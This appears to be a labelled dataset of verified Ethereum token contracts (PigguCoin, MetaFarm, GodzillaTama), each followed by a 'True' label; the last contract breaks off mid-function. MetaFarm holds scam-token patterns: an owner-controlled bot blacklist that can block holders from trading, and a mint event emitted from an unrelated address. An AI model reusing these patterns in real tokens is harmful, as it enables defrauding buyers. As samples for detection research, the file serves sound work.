dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PigguCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tBurnTotal; string private _name = 'Piggu Coin'; string private _symbol = 'PIGGU 🍪'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tBurnTotal = _tBurnTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private { _rTotal = _rTotal.sub(rFee); _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) { uint256[12] memory _localVal; (_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount); _localVal[3] /**currentRate*/ = _getRate(); ( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]); return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) { uint256[5] memory _localVal; _localVal[0]/**tTax*/ = tAmount.div(5); _localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(3); _localVal[2]/**tFee*/ = tAmount.div(100).mul(2); _localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(10); _localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]); return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurnValue = tBurnValue.mul(currentRate); uint256 rLiqidity = tLiquidity.mul(currentRate); uint256 rTax = tTax.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity); return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-29 */ /** Token: MetaFarm Symbol: METAFARM High yielding farming within the metaverse */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MetaFarm is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MetaFarm"; string private constant _symbol = "METAFARM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xfE11fCC48A58917BF77A2e6E0275DCCd648499Be); _feeAddrWallet2 = payable(0xfE11fCC48A58917BF77A2e6E0275DCCd648499Be); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xBDe115EF69582BD8a4658b2BEdD73c5F245CC7FA), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 13; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-16 */ /** Buy $GTAMA To Support UNISWAP and Help Launch The Most Viral UNISWAP Campaigns in The Crypto History! Tg : t.me/godzillatama Website : www.godzillatama.com */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GodzillaTama is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "$GTAMA"; string private constant _symbol = "$GTAMA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x2fF95FEB758274461966e08A12FBd8b2927c2cc3); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function 